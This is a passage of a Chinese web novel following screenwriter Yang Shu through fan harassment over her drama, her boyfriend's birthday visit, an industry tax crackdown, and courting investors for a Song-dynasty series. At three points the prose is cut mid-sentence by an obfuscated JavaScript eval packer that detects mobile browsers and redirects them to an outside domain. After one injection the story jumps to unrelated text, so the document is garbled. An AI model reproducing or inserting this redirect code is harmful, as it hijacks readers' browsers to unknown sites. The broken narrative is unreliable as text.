姚澈和他们商议紧急暂停,避免引火烧身,但自发骂三观不正的观众日渐增多。 女一号在大学时单恋过学长,后来对男一号产生好感,观众们骂她爱过别人,配不上男一号;男一号和前女友分分合合,女一号被蒙在鼓里,依然对他示好,观众们骂她贱,还骂总局居然过审这种不道德的情节。 骂人的观众里,流量粉丝比例很高。流量本人很看重《战朝阳》,定档和开播之前几次宣传它,姚澈让他再说说话,他依言发了微博:“角色是我和各位演员一起精心塑造的,请大家往后看,一起欣赏丰富立体的角色。” 编剧甘棠没忍住,发了几句牢骚:“想写点有思考的东西,很多人都说,生活这么辛苦,不想看严肃的。写轻松的,又说国内就爱拍这些,看看人家国外,什么题材都深刻。《战朝阳》是写了有点缺点的角色,请针对剧情讨论,不要伤害演员,人设和演技请区别对待。” 甘棠言辞很克制,但粉丝们把她往死里骂,左一句寄刀片杀全家,右一句滚出编剧圈。杨树担心《战朝阳》步入《天作之合》后尘,被人举报,忍着没骂人,但白杨居然转发了流量的微博:“表达批评有很多正常方式,请尊重自己,尊重他人。” 流量去年演的古装剧,白杨客串过角色,两人是健身房里的常客,混得很熟。张程程分析白杨之所以支援流量,是想起《天作之合》了。《天作之合》被举报后,被删得七零八落,前言不搭后语,在网站播放量平平,兔子总裁必然闷着气。 流量没有对白杨这条微博表达看法,于是在白米眼里,白杨被公开处刑,尴尬大发了。白杨的同类小生较多,那些人的粉丝纷涌到他微博底下,嘲笑他抱流量大腿。 张程程一天几百条地骂回去,依然阻止不了白杨被黑,她哭着跟杨树说:“我给他发了私信,求他别掺和这些事,以后只管拍戏、参加商务活动,私信显示已读,但他不回我。” 杨树心想别说白杨本人可能不看粉丝私信,就算看到了,也只会置之不理,粉丝们大多年纪比他小,社会阅历基本没有,却一个个以为既能教他做人,还能管住他的嘴巴。 张程程一遍遍给白杨发私信,让他别再蹚浑水。但白杨被流量的粉丝骂烦了,又发了一条:“有没有想过,人是需要有朋友的?” 张程程求杨树帮忙联系到白杨,千万别说话,来自流量粉丝的羞辱太诛心,她一分一秒都不想让白杨再承受。 杨树说:“这种微博都不让说,他以后就发发帅照,聊聊天气吗?” 张程程宁可白杨只发这些,安全无虞,杨树让她看看她自己的微博。她追星、看同人小说,不喜欢某个室友,喜欢奶茶店哪款新品,在社交网页想说就说,偏偏规训白杨不能乱说话,杨树问:“你喜欢他,但不想了解他所思所想吗?” 张程程说:“他好好演戏,多拍广告就行。” 流量一直没回应白杨的微博,白杨被对家粉丝骂也就罢了,自家白米在后援会粉丝群里更是把他逼疯了,他删了微博了事。张程程又哭了,因为嘲笑的人更多了,都说白杨热脸贴冷屁股。 好好一个孩子,不能因为追星把自己给毁了,杨树喊张程程来横店玩,帮她打打杂,做做会议记录。 张程程旁听剧本会,大惊失色。主创团队怕不是疯了,照她看来,主角团全员恶人,父慈子孝、兄友弟恭、妻妾和睦都是表象,相互牵制,相互竞争,亲情和爱情在矛盾中走形,随时随地戴着面具伪装。 连《战朝阳》都被骂三观不正,张程程担心《北宋宫事》被人骂到死,杨树让她抛弃“三观”紧箍咒看影视剧,权力当前,欲望熊熊,更能书写皇室众生相,谁都善良大方,怎么做戏? 编剧交出的剧本初稿,单明玉经常会让她们大段修改,就一点原则:戏得是戏。杨树把导演的工作台本也丢给张程程,张程程整个人都呆滞了,在幽默逗趣的生活片段之外,导演台本比剧本更冷峻肃杀。 张程程性格活泼,还能帮着精修剧照,连黎俏的助理也认识她了。黎俏化妆时,张程程鼓起勇气问她为何敢接“狼子野心”的角色,角色实在太有心计了,黎俏问:“有心计怎么就不行?皇帝驾崩后,她临朝称制,还把曾经的朋党丁谓罢相了,如果她温柔大度不争不抢,她能到那个位置吗?” 张程程问:“您演这种有争议的人设,不怕被骂吗?” 黎俏跟助理笑说张程程到底是小孩子,角色有道德争议又如何,演员把角色演好的根本,在于承认和接受戏剧人物的复杂性,刘娥这个角色,她演得很过瘾。 张程程怏怏去看造型师工作,饰演宰相丁谓的演员眉毛被造型师修短,她请教原因,造型师说妆容得契合人物,在眉毛上做文章,便于演员更好地展示眼神戏。 张程程回来跟杨树说演员算是帅的,但把眉毛弄短了,顾盼有凶相,杨树便给她讲历史上的丁谓其人,他才华横溢,智计百出,然而是史书盖棺定论的奸臣。他把政敌寇准和李迪排挤出了朝堂还不够,还假传圣旨,派使者给两人各送一把剑,请这两位宰相自行了断。 有人劝丁谓得饶人处且饶人,免得后世史笔如刀,丁谓说好事的书生奈何不了他,无非替那两人感叹一句天下惜之罢了。 杨树翻到剧本这几场戏,让张程程看。张程程努力抛开三观,把丁谓当男主角来看,看得直呼过瘾,两把剑送到,寇准和李迪的反应、丁谓的骄狂,都写得很精彩,杨树说:“导演说过,反派作恶好看,主角作恶只会更好看,多琢磨琢磨人的复杂性吧。” 张程程蹲在片场听单明玉讲戏,杨树忙碌时经常看看她,承认人性复杂,才可能变得包容。在郑致之后,她不想再看到张程程把人生之路走偏了。 生日前夕,杨树从片场归来,忽见路边花坛似有萤火虫飞过。她奔过去,盯住那微小的亮光瞧了半天。这是她第一次见到萤火虫,想拍点照片给爸爸看,但连拍几张都糊了。 在甘肃定情,秦朗讲过跟萤火虫有关的童年,那个夜晚,两人迎着夜风唱“今宵杯中映着明月”,想起来仍如昨天,杨树情不自禁抬头看天,月光淡薄模糊。 在张家界的时候,秦母指着月亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091472|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“月亮长了毛,有雨在明早。”杨树的心情越发低抑,做《战朝阳》虽然没有现在辛苦,但播了一周,收获的是一波又一波的粉丝掐架,乌泱泱的声音盖过了剧集本来的闪光点,说不失望是假的。若是现在跟秦朗陪护在病房,随便聊点什么,心情都会好一点。 凌晨,亲朋们都卡着点儿发来生日祝福,杨树拿着手机睡去。下午正在核对道具,一抬眼,秦朗站在人群里笑,穿的是女朋友送的深蓝色衬衫。 杨树跟制片主任打个招呼,男朋友来了,她去去就来,但张程程嘴快,嚷了出来:“来陪你过生日,好浪漫!” 制片主任给杨树放假,杨树拉着秦朗的手,雀跃着跑开,问他:“不是来不了吗?” 秦朗揪揪她的脸:“高兴成这样,还是想让我来吧,为什么不说实话?” 杨树问:“你妈怎么办?” 秦朗说让小姨请两天假照看母亲,他明天下午就得走,但他不可能不来,女朋友生日都不来,那他什么时候来?杨树心里有些酸楚,脸上仍笑着:“先回酒店把东西放下,等下带你去吃好吃的。” 回酒店的路上,杨树开车,她以前车开得少,不大敢上路,来横店练出来了。等待红绿灯时,秦朗凑过来亲她:“还是想你啊,当然得来。” 到了酒店,秦朗拎着旅行箱直奔小厨房。杨树在秦家做客时,夸过腊鱼腊肉好吃,他拎了一箱土特产过来。 杨树怪他太呆,发个快递就不受累了,秦朗嘿嘿笑,等两人把食物一件件摆进冰箱,旅行箱空出来,他才说箱子就是生日礼物,总不能拎个空的来吧,装点东西才是物尽其用。 旅行箱是杨树想买但嫌贵的那款,她骂秦朗不会过日子,秦朗说母亲有公职,医药费能报销大半,而且他每年都给父母买了重疾险,手术几乎没花钱,他暂时没有太大经济压力,杨树以后少不了出差,旅行箱她用得着。杨树问他想吃什么,秦朗搓搓手:“我是来给媳妇做饭的。” 小厨房不能炒菜,秦朗做了几样蒸菜,豌豆蒸牛肉,豉汁蒸凤爪,腊味合蒸,再来个清蒸莴苣丝。杨树爱吃的朗姆芝士蛋糕不送横店,秦朗给她带了张家界本地人做的蜂蜜蛋糕,杨树咬一口,也很美味。 点上一根小小的蜡烛,秦朗和杨树一同吹灭。2018年8月9日,杨树30岁了,但是27岁遇见的人,还在身边。 以前在北京,几乎都是丁盼兮做饭,秦朗负责吃,杨树夹了一块牛肉尝味道,惊叹道:“比盼兮做的牛肉还好吃。” 秦朗听得美,两人站在灶台边,喝酒聊天。杨树待在剧组总是没胃口,饮食不规律,下雨天戏排得少,是她难得的休息时分,她总喜欢切点口蘑,少许油烤一盘,撒点胡椒和椒盐,最适合雨夜独酌。 早上刚下过一场雨,秦朗走到窗边,推开窗,空气中植物潮湿而清苦的气息扑面而来。杨树看向窗外铅灰色的天:“雨又快来了。” 吃完东西一起洗洗刷刷,两人每天都视频,仍然攒了许多话见面说,不时接个小吻,没发现门外有人悄然离去。 雨落了下来,祁宁走在昏暗的走廊上。男人低下头,跟女人额头抵着额头,互诉情话,他摇摇头,驱赶着心头难言的涩意。19岁的时候,从故乡前往北京,坐的是夜车,依稀也是这样的雨夜,这样的空落落。 一声惊喜的轻喊打破回忆:“祁宁!” 女孩的声音很清亮,眼神带着不确定,然后笑了:“我真没认错!” 女孩胸前戴了工作牌,是剧组的工作人员,祁宁微笑致意:“你好。” “可以给我签名吗?”女孩手忙脚乱找笔,有点窘迫,“能不能等我两分钟,我去拿笔!” 祁宁停顿一下,说:“我等你。” 女孩开心地往楼下跑:“马上就来!” 祁宁转身上楼。那两人背对着他看雨,男人从身后搂着女人,弯着腰,下巴搁在女人肩头,脸蹭着脸,亲密得容不下别人。 没敢买贵的礼物,请教了唐问羽,买了对过敏肤质有帮助的仪器,免得她又不收。开车赶往片场的路上,祁宁信手看了看朋友圈,杨树在做饭,他掉转车头,兴冲冲开往酒店,开场白他都想好了:“我来蹭饭。” 他拎走了放在门边的礼物,不想让她知道他来过。当他把礼物递给女孩时,女孩吃惊地睁大了眼睛。 祁宁也没这么不红吧,找他签个名,他竟然受宠若惊,以礼回赠。再一看,是一款女明星们自用的美容仪,印象中一万多块,女孩激动地说:“我要粉你一辈子!” 合完影,女孩伸出手臂:“可以给我签在这里吗?” 祁宁拿着记号笔看她,她们都说舍不得洗手,就像她说男朋友来不了一样。呵,骗子。 他把名字签在女孩的肩头,她会逢人说起她爱惜这件短袖T恤,然后很快忘记它的存在。 走出酒店,雨夜像一匹黝黑的骏马,他想飞身跃上,它扬蹄把他撂倒,四野茫茫的雨,向他倾斜而来。 67. 第 67 章 相处的时光太短暂,秦朗对拍戏感兴趣,杨树带他去片场玩,正值拍到父子决裂的重场戏,皇长子赵光佐醉酒纵火烧宫后,宋太宗诏令派御史捉拿,送到中书省审问。 宋太宗的皇位是承袭兄长宋太..祖而来,即位后,他担忧四弟赵廷美觊觎皇位,便诬陷他密谋造反,赵元佐深知四叔是被迫害,替他出言申辩未果。 赵廷美忧悸成疾病逝,赵元佐因病发狂,第二年病情才略有好转。宋太宗为此而大赦天下,但随后重阳节,宫中宴会,宋太宗考虑到赵光佐的病未痊愈,并未让他赴宴,赵光佐发怒纵酒,焚烧宫苑。 暴雨滂沱,宋太宗思及前因后果,作出决定,皇长子赵光佐被废为庶人,发往均州。. 一场大雨的冲刷下,皇家亲情仿佛也被淋得七零八落,秦朗请教为什么用人造雨,而不是放在昨天拍,昨天从湖南出发时,他就看过天气预报,不止一场雨。 摄影助理回答说,雨戏一般是大冲突剧情的表象化,自然雨无法控制时间和大小,雨量未必符合拍摄效果,人工降雨才能控制。为了把雨拍得漂亮,有时会在水里掺黑墨水,再加上灯光,才能形成画面上清晰的雨丝。 雨戏拍完,秦朗蹲在人造雨机面前研究构造,杨树手上忙着,不时看向他,心软得要命。这个人对什么都好奇,事业心很重,但母亲身体一天天衰弱下去,他只能以看护父母为重,在老家虽然还兼带工作,但只能做点边角料。 科技相关的工种更新换代快,不进则退,可是秦朗没有太多心力扑在工作上了。杨树为他难过,告别时,秦朗抱着她说:“别担心我,我有杨小树,杨小树前途无量,以后不会不管我。” 杨树在他怀里靠了一会儿,喊他:“胖。”两人打闹时她喊胖罐子,亲昵时喊胖,似乎这个瘦得骨头硌人的人,是胖乎乎的踏实的依靠。 秦朗回湖南后,杨树又恢复单调的生活。张程程知道她心情不好,给《战朝阳》连着写了几篇剧评。 张程程每天听单明玉讲戏,一点点去理解导演当初执导《战朝阳》的想法,写出来的剧评连黎俏都点了赞,邀她将来给《北宋宫事》也多写几篇。 视频网站的互动性很强,追剧时,杨树随时看弹幕,了解观众感受,但大批弹幕都在骂女一号和女二号。男二号才是真恶人,却没怎么被骂,只因演员帅,角色有点钱。 《战朝阳》播完,收视率和网播量超出公司预期,但S+级别的剧,却只播到A级的效果,网播量仅列同期第三位,两家视频网站有些焦虑,他们从开播第一天的各项数据研究起,复盘是哪里做得不大对。 剧中的女二号是受害者,为角色和演员发声的观众也不少,但被怒火中烧的男二号粉丝评论吞没了。姚澈助理说女二号失眠,掉头发,团队考虑带她去看心理医生。 剧已播完,众人再无后顾之忧,朱青直接开骂,当晚,她收到狂风暴雨的攻击。 杨树自己被骂还能忍,骂朱青她坐不住,转发了朱青的微博,写道:“任何人都有点评任何人的自由。以后我对你们的偶像有任何看法都不憋着,直接点名道姓。” 连篇累牍的私信发来,几乎每人都管杨树叫大婶或阿姨,杨树看了一小部分,他们说话像同一个人的语气,惯于用“OK”和“好吗”等反问句结尾,她截了骂得最下流的几张图发出来:“僵尸才整齐划一呢。” 图文并茂引来疯狂反扑,有人顶着“前同事”的身份称杨树以睡上位,能策划《战朝阳》让公司投钱,并请到流量主演,不知经历过多少龌龊勾当。马上有人翻出杨树照片,嘲笑以她的姿色,想必技术过人。 张程程翻了翻评论,攻击者大多数是男一号和男二号的粉丝,杨树那条微博被他们视为宣战,他们为了维护正主尊严,绝不手软。 渐渐的,有人代表男一号和男二号道歉,急急澄清那些粉丝疯了,他们也是粉丝,正在极力阻止。杨树转给张程程看,张程程很悲观,情绪化的粉丝才有煽动力,带得起气氛,理智粉丝虽然也多,但融不进粉圈核心层,他们的言论像在泼冷水,说话没几个人爱听,是饭圈的小众群体。 杨树和张程程聊到半夜,清晨她被熊好好喊醒,事情闹大了。有人把她的照片拼接到无关女子的裸照上,发布到色情网站,还附上明堂影业官方网站的联系电话。 电话被打爆,公司报了警,警方已介入调查,杨树气晕了,仅仅说了几句重话,猥琐的人就这样羞辱她。但她知道,艺人们遭受这样的腥风血雨只会更多,在他们的社交网页上,恐怖血腥遗照尸体P图要多少有多少,删都删不尽,只能眼不见为净。 卫视也被投诉了,理由是他们播出《战朝阳》这种三观不正的剧,有教唆嫌疑。 投诉的人在增多,状如流水线熟练工,流程极其熟练,两家播出网站也接到抗议电话了。网站对姚澈表了态,除非有不可抗力,否则不下架,经过了5次审查,它没什么违禁的地方。 杨树任由微博被攻击,妥协了只会让他们更加把公器私用当法宝,她不纵容他们。《北宋宫事》剧组人员听说了此事,都来劝几句。 祁宁给杨树打来电话,他看到杨树被网暴了,问她是否还好。自从生日凌晨收到他的祝福后,杨树和他再没联系过,之前,他转发了杨树那几条微博,聊表支持,杨树去看过几眼,底下谩骂也不少。 算算时间,祁宁快进组拍软科幻言情剧了,杨树问:“最近好吗?” 祁宁的声音听起来不辨悲喜:“好着呢,拍完《西北年轻人》就回爸妈家了,休息几天。” 杨树叮嘱他多看看软科幻剧本,吃不透的地方随时找她,他答应了,劝她别为被那种照片伤神,视而不见才能保护情绪,要是她很难做到,他可以教她如何克服,他久病成医,对此很有心得。 杨树说:“我才不伤心,我哪有那么好的身材,熟人都知道不是我。” 祁宁静了一下,然后笑着说:“你啊。” 电话刚接通的时候,祁宁好像很担忧,杨树给他一个安慰人的机会:“说实话,剧播得不算好,有点郁闷,快给我讲个笑话。” 祁宁搜肠刮肚,讲不出来,又祭出他那句名言:“你也知道我连大学都没读过,是个粗人。” 杨树笑起来,祁宁让她放松一点,以他的经验,《战朝阳》的数据会有明显的增涨。很多人不爱一集集追剧,喜欢一口气看完,每部剧在完结后,播放量和讨论度都会有明显的涨幅。 网上讨论《战朝阳》的人果然多了起来,剧评也增多了。每篇言之有物的剧评,都被张程程整理成文档发给杨树,编剧甘棠也收到若干圈她的观后感,她截图和杨树分享,让她别妄自菲薄,不过她也惋惜,一演到情感戏份,哪怕是男二号对女二号心怀鬼胎,弹幕上都有很多人欢呼“甜甜的爱情”。 网站方面召开远程会议,向《战朝阳》主创团队披露后台详细数据。他们说:“你们这戏给20来岁的社会新人类看,想做点有意义的东西,没用,目标观众就爱看谈恋爱和撕逼。不过主笔编剧写言情戏感很好,我们有个纯言情剧打算找她写。” 杨树想通过数据去发现剧作的毛病,逐一查看观众平均收看时长、主要跳过和退出节点、完整观看率等数据,她清晰地看出每当演到情感戏份,数据就直接拉升,其次是女一号和女二号结盟对抗那些让她们不痛快的人。 甘棠和助手们贯彻了杨树和姚澈的创作理念,写的是青春励志向,但主流观众跳过主创团队人文关怀的部分,在所有情节里抠糖,他们津津乐道于男女每次似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大咖顶着反对声跟丈夫结婚,离婚必成所有人的笑柄,她和才女缠斗上了。李伊梦和柳艳只能拉上女二号女三号等人去平台兜售《大唐银楼》,用施严的话说,女人们衣不遮体,往桌上一趴,桌沿让□□更深,像蜘蛛精的盘丝洞,就没有不去探幽问情的男人。探完了,男人们昂首阔步地出来了,《大唐银楼》仍没卖出去,因为总有人更擅长托胸而出。 《大唐银楼》虽然不顺,但李伊梦筹拍的翻拍日剧提上日程了,几个公众号都发布了组讯。施严啧啧有声,有的女人很会折腾,脸一抹,端着两只胸往桌上一搁,就能找到信任她的人,摇身一变,当上了制片人。 杨树对李伊梦没有太多感受,在给《战朝阳》复盘过程中,她训练自己放平心态。入行之初,她就知道影视剧是妥协和遗憾的艺术,《天作之合》原著作者因此再不涉足编剧界,轮到她自己,竟还是太在乎了。 几乎没有一部剧是完美的,但优点更突出就是成功,网站对《战朝阳》的成绩其实整体还是满意,杨树努力总结得失,不计成败,把心力投入到每一个现在进行时。 暑假快要结束,张程程向杨树辞行。在剧组只待了一个月不到,却是张程程追星生涯的重要历程,她观察到,黎俏一转发社会议题,就会被粉丝们苦口婆心地劝,她不回应,但会跟助理吐槽:“又不是我甲方,管得宽。” 张程程第一次听到的时候感觉很刺耳,但林礼璋也持有相似的态度,他说自己首先是人,其次才是演员。是人,就能对万事万物发表看法。 白杨更新社交页面的频率明显低了,张程程研究另外几个咖位相仿的明星,惊觉他们的页面如出一辙的单调,说得多错得多成为共识,索性不发布个人观点。 逢场作戏的人那么多,真实难能可贵。张程程检讨,生活里,长得像白杨那么帅的人,根本不会看她这种普通女孩一眼,但因为他是明星,她为他花了一点钱,竟然就有了错觉,以为有资格对他从头管到脚。 68. 第 68 章 8月底,《北宋宫事》全剧本定稿,霜晨月给杨树寄了礼物,她拿到不菲的编剧费,手头宽松了。未来几年,她不用出来谋生,好好把她心心念念想写的医美小说写完,写出来可能也没几个人看,但写出来再说。 章嘉敏带着女儿搬回北京,跟丁盼兮成了合租室友,当年漫画家绘制童书插图拖稿,丁盼兮没少跟章嘉敏通话赔不是,再加上杨树的关系,两人一见面就不陌生,相处得很和睦。 9月匆匆而来,横店的晚上隐有秋意。每天拍完戏,主创们再晚都会碰个头,探讨第二天的戏份,众人都把《北宋宫事》当成毕生代表作对待,但查税补缴政策随即而至。 早在5月底,曾任职中..央电视台主持人的崔永元将一组“阴阳合同”在网上曝光,舆论声讨不息,监管也随之加压。当时,从影视公司到演员明星集体持观望态度,但上周,钱一诺等影视公司老总陆续接到消息,必须对2016年以来的申报纳税情况进行自查自纠。 2010年,国家为拉动和边疆地区的文化联系,特别设定新疆小县城霍尔果斯为经济特区,新成立的公司可以享受税务减免额,所以影视投资人都乐于去霍尔果斯开办公司,实际上都是空壳子,办公在北京,走账从霍尔果斯的分公司走。 浙江宁波和东阳也出台了类似政策,因此在这三个地方成立的影视公司特别多,但税务整顿即将铺开,脱漏的税金必须重新补缴。 这几年,影视业正是狂飙突进时期,《北宋宫事》45集剧本,一集的投资是600万,总投资2.7亿,这在市面上属于中上等水平,有的公司拍男性向奇幻剧,一集飚到了1000万投资。《北宋宫事》投资金额高,明堂影业独家出品吃不消,姚澈和钱一诺拉了几家兄弟影视公司跟投,分阶段支付。 开机之前,头款都打到明堂影业的户头上,如今拍摄尚未过半,更多资金将按合同依次进来,但山雨欲来,众公司都得先盘账,作好补缴税款的准备。 姚澈和制片主任连夜精算了后续开支,得想办法找钱去。一时间,剧组人心惶惶,所有人都明白,形势很不妙。 影视公司都自身难保,姚澈找上别的行业,但电视剧至少要一两年才能回款,其他行业的老板们都听闻了影视业的税改风云,大多数作壁上观。 有天拍夜戏,杨树回来已是后半夜,在停车场看到姚澈。她被司机送回来,蹲在地上吐了半天。杨树去小厨房烧了醒酒茶,主动请缨:“姚总,我挺能喝,下次带我去吧。” 姚澈嗬了一声,杨树很坦白:“从小喝,用酒坛喝。” 内蒙不是人人都能喝,但杨树一家人酒量都不错。妈妈去世后的暑假,爸爸每天都喝得醉醺醺,杨树抢过酒去,父女俩你一碗我一碗地喝。到现在,每年回家过年,杨树都会炸点花生米,再切点卤牛肉,陪爸爸下下酒。 姚澈没答应杨树,摇摇晃晃回屋睡觉:“等你做到我这个位置再说吧。” 男朋友把姚澈扶进去,杨树慢慢走在走廊上,然后回小厨房,抓出一瓶酒上天台喝。她知道姚澈压力有多大,导演单明玉创作正进入黄金时期,各方面都有很多想法,姚澈力挺她,对于单明玉在拍摄上的要求,都尽量由着她,方方面面都张罗到位。 业内很多古装剧依照行业常规做法,请港台或日籍设计师做主角的全套,再由别的设计师做其他角色,结果主角的服饰要么充满浓厚的日本和风味,要么配角的衣服尺寸到材质都不能看,廉价感很重。 单明玉认为内地设计师完全能胜任服饰造型,请来了她最心仪的美术指导常伟亮,戏服是历史的一部分,得保证屏幕上所有服饰风格的统一性。 常伟亮做东西讲究,花钱无算,几个投资人向姚澈施压,把成本控制下来,姚澈当着他们的面征求单明玉意见,单明玉回绝了。导演不能只导主角戏份,配角随便瞎演,编剧不能只写主角台词,配角现场乱掰,难道设计师就只对主角服饰花心思,配角草草了事? 导演对内容负责,不计成本,控制成本是制片的事,制片主任跟杨树抱怨过,光是重头戏服饰就比预算多花了上千万,每一件都是心血,都是钱,若不是姚澈为人刚硬,投资人那一关不好过。 如今国家动真格搞税务整顿,投资人对姚澈怨声载道。以林礼璋和黎俏的号召力,这戏不搞这么华贵也能卖掉,偏偏要瞎花钱。这下好了,大投资方有的还能撑一撑,有的是泥菩萨过河,自身难保,小投资方就别指望他们跟进了。 姚澈谈投资不太顺,钱一诺从公司其他部门挪钱来拍摄,但拆东墙补西墙不是长久之计,姚澈夙夜难眠,频频去见新的投资方。制片人是给项目兜底的人,是整个剧组的保护伞,找钱是她职责。 牵一发而动全身,平台们也都有参投的项目,谁都逃不脱,将来《北宋宫事》发行,必遭平台杀价,拍摄成本必须往下压。杨树和单明玉挖空心思删减战争戏,特别花钱的大戏要么删,要么改。 宋史记载,宋太宗参加陈桥兵变,拥立兄长宋太祖为帝,即位后征太原,灭北汉,结束了五代十国的分裂割据局面,这样的重要战事,剧本里自然都体现了,但战争戏花费很大,一天可能也拍不了两场戏,群演人数也多,还有些武行人员得负责打斗场面精彩,他们的片酬会高点,这里里外外都是钱。 然而战争戏全删了也不行,《北宋宫事》有一半篇幅主写宋太宗的一生,文治武功都得拍,不然波澜壮阔的史诗感出不来。编剧方雯和霜晨月被召回,全力修改剧本。 好日子居然就这样过去了,演员们很珍惜《北宋宫事》,拍摄时每个人都尽力奉上能力范围内最好的表演,以后不知何时才能再演上一集600万投资的戏。 账面上陆续有些资金进来,维持剧组每日开销。有个午后,杨树正在片场忙,听说姚澈喝到胃出血,被男朋友送进医院。她忙完冲去医院,再次说:“我真的能帮您喝酒。” 姚澈苍白着脸,定定地看着她,叹口气道:“前几天,有个老板想见见编剧,详细了解项目。” 老板对方雯和霜晨月闻所未闻,嫌她们没名气,还笑问姚澈是怎么想的,这么大投资,干嘛舍不得请大编剧,小编剧写的能看嘛,真写得好,就不会只是小编剧了。 小编剧在资方面前得不到认可很常见,有点专业素养的资方好歹会看看剧本行不行,看不看得下去,但这位程老板只认招牌。 制片主任带上杨树去见程老板,《天作之合》和《战朝阳》都热播过,献礼剧《瓷缘》下周也要开播了,程老板对“资深责编”杨树倒是认的。 程老板说是想了解剧本,但美人让他兴趣更大,他和亲信都热衷和黎俏及姚澈搭话。酒席上,黎俏和林礼璋铆足劲地吹捧程老板和他的亲信们,把他们都哄高兴了,钱就进来了,还能接着往下拍。 黎俏很圆滑,很懂得巧妙地联络感情,一脸真诚地阿谀逢迎,把程老板逗得前仰后合。制片主任照顾姚澈吃点东西,杨树一杯接一杯为姚澈挡酒,程老板对她刮目相看:“哟呵,妹妹实诚!杨妹妹你不错,走着!” 杨树和他碰杯,再大的老板都喜欢玩认哥哥妹妹那一套,她知道己方人员都厌恶这种应酬,但有所求就只能低头。 应酬了几次,程老板答应投2000万,但这钱只够拍几集。黎俏和林礼璋本来只管拍戏拿钱,但这次他们都明显地感觉影视业的日子不好过了。也许拍完《北宋宫事》,他们的片酬得大幅下降,拍戏间隙,他们勤于联络从业以来的靠山们,不投钱也行个方便,介绍一点资源。 黎俏的一位金主介绍了陶老板,他主业是生产油漆,为几家生产公共交通工具的大厂供货,听上去不太符合常人对有钱人的定义,但实打实的有钱,他投文化产业是钱多顺便。 陶老板素来对历史感兴趣,索性跑来横店,对《北宋宫事》考察得仔细点。但他不习惯在电脑上看东西,纸质版的字儿又太多,看不过来,杨树应黎俏之请,往他下榻的五星级酒店总统套房跑了几次,把大致情节讲给陶老板听。 杨树一开始还跟丁盼兮和章嘉敏搞远程连接,一键报警,但每次过去,都有一圈人围着陶老板。男的赔笑递烟,殷勤伺候,女的投怀送抱,其中一人杨树认识,是5月建组时在电梯里偶遇的跟组姑娘。 每天都有人开好房间,好酒好菜地等着陶老板。之后一个中午,杨树再次被电召过去,临了被陶老板拉住手,夸她是人才,想挖她去他公司做企宣,年薪50万,还对她挤眉弄眼,说自己就喜欢文化人儿。 《北宋宫事》缺钱,杨树极力忍,没有一耳光甩上陶老板,走出那房间,她窝火至极,反省自己言行举止是不是有问题,才被陶老板以为她和男男女女小演员一样。走到酒店大堂,人来人往,她脑中清明,纯属有钱人太自大,以为金钱无往不利,她反省个鬼。 这些时日,秦朗心情不大好,杨树本想跟他吐槽,掏出手机又放回去,何必让自家男人接收这种负面信息。她不至于如施严所言“端着胸求人办事”,但不想让秦朗接收更多糟心事。 秦母手术顺利仅仅是字面上的意思,指的是手术符合预期,但秦朗刚回湖南,母亲就出现术后伤口感染,还导致了几种并发症。 秦朗话少了很多,尽管每天都会循例问候杨树,但只是些“吃了吗”、“睡了吗”的家常话。杨树想过趁国庆长假去趟湖南,但剧组现状捆着她,她太忙了,并且去一趟又如何,她帮不了秦朗,秦朗也帮不了她。 9月中旬,《瓷缘》开播了。每天拖着疲惫的身体回到房间,看两集剧,是杨树近来惟一的慰藉。 丁盼兮习惯在网上看剧,但几大视频网站都没买《瓷缘》。它是正剧,卖给卫视独播,勉强回本,而且已经算给了高价,本想再卖给视频网站,可他们只给出一集30万的价格。 《瓷缘》一集投资150万,长夜影视公司没法接受。丁盼兮很惊讶,《瓷缘》主要角色都是国民度很高的演员,男主角和女二号去年各自有一部爆剧播出,视频网站居然不买。 杨树很无奈,视频网站看重网播量,买剧针对年轻观众为主,《瓷缘》演员配置非常好,但快餐剧才容易卖出高价。 丁盼兮说:“可我觉得男女主和女二演戏很好看啊,我挺喜欢他们三个。” 杨树笑,很多人都说不喜欢流量明星,喜欢实力派,但实力派演的剧,他们并不看。丁盼兮想了想,这的确是事实,她看剧是为了解压,放松心情,若不是杨树参与了《瓷缘》,她一看是正剧,就归类到苦大仇深还深奥,不会为它花上一分钟。 观众代表市场,观众不选择,资本就不选择,现实就这么残酷。杨树每天追剧,写剧评,发动张程程等人做宣传,真心喜欢一部剧,就一定要发出声音,投资人认可的不是内容,是市场,市场上那么多没有什么深度的作品,其实都是顺应了那些响亮发声。 爸爸为女儿收罗了剧评,路人们都说,爸妈很喜欢,一看就看进去了。电视剧往往就是这样,第一天的前两集决定生死,看不进去的人多半就弃剧了,不会给第三集机会,但从剧评来看,喜欢这类题材的人看了前两集都往下看了,美誉度也高。杨树喝着网购的杏皮茶,心里很舒坦。 《瓷缘》播到一周,收视中等,被同期的古装言情剧和行业爱情剧压得很死,不过长夜影视公司上下都有心理准备。献礼剧很难有大众热度,但在小范围内口碑起来了,对杨树来说,成绩算是理想。经历了《战朝阳》,她勒令自己对既往作品保持平常心,不能光会劝祁宁,自己却做不到吧。 杨树依然不定期去为姚澈挡酒,有次刚走到楼下,她看到姚澈对着手机咆哮。姚澈很少有这样的时刻,原来是公司签约演员出了纰漏。 演员饰演宋太宗的次子赵元僖,一个只活了26岁就暴毙的准储君。按演员的档期,他本周来剧组报到,下个月赴河北草原演战争戏,人倒是准时来了,但一打照面,姚澈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 